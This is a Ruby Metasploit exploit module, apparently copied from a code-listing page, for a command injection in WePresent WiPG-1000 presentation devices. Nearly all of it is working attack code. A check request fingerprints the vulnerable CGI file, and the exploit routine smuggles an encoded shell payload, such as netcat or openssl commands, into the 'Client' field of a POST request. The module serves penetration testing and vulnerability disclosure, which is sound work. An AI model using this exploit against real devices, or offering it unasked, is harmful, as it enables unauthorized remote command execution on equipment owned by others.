1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'WePresent WiPG-1000 Command Injection', 'Description'=> %q{ This module exploits a command injection vulnerability in an undocumented CGI file in several versions of the WePresent WiPG-1000 devices. Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Matthias Brun', # Vulnerability Discovery, Metasploit Module ], 'References' => [ [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ] ], 'Payload'=> { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat openssl' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['WiPG-1000 <=2.0.0.7', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 20 2017', 'DefaultTarget'=> 0)) end def check res = send_request_cgi({ 'method' => 'GET', 'uri'=> '/cgi-bin/rdfs.cgi' }) if res && res.body.include?("Follow administrator instructions to enter the complete path") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit print_status('Sending request') send_request_cgi( 'method' => 'POST', 'uri'=> '/cgi-bin/rdfs.cgi', 'vars_post' => { 'Client' => ";#{payload.encoded};", 'Download' => 'Download' } ) end end |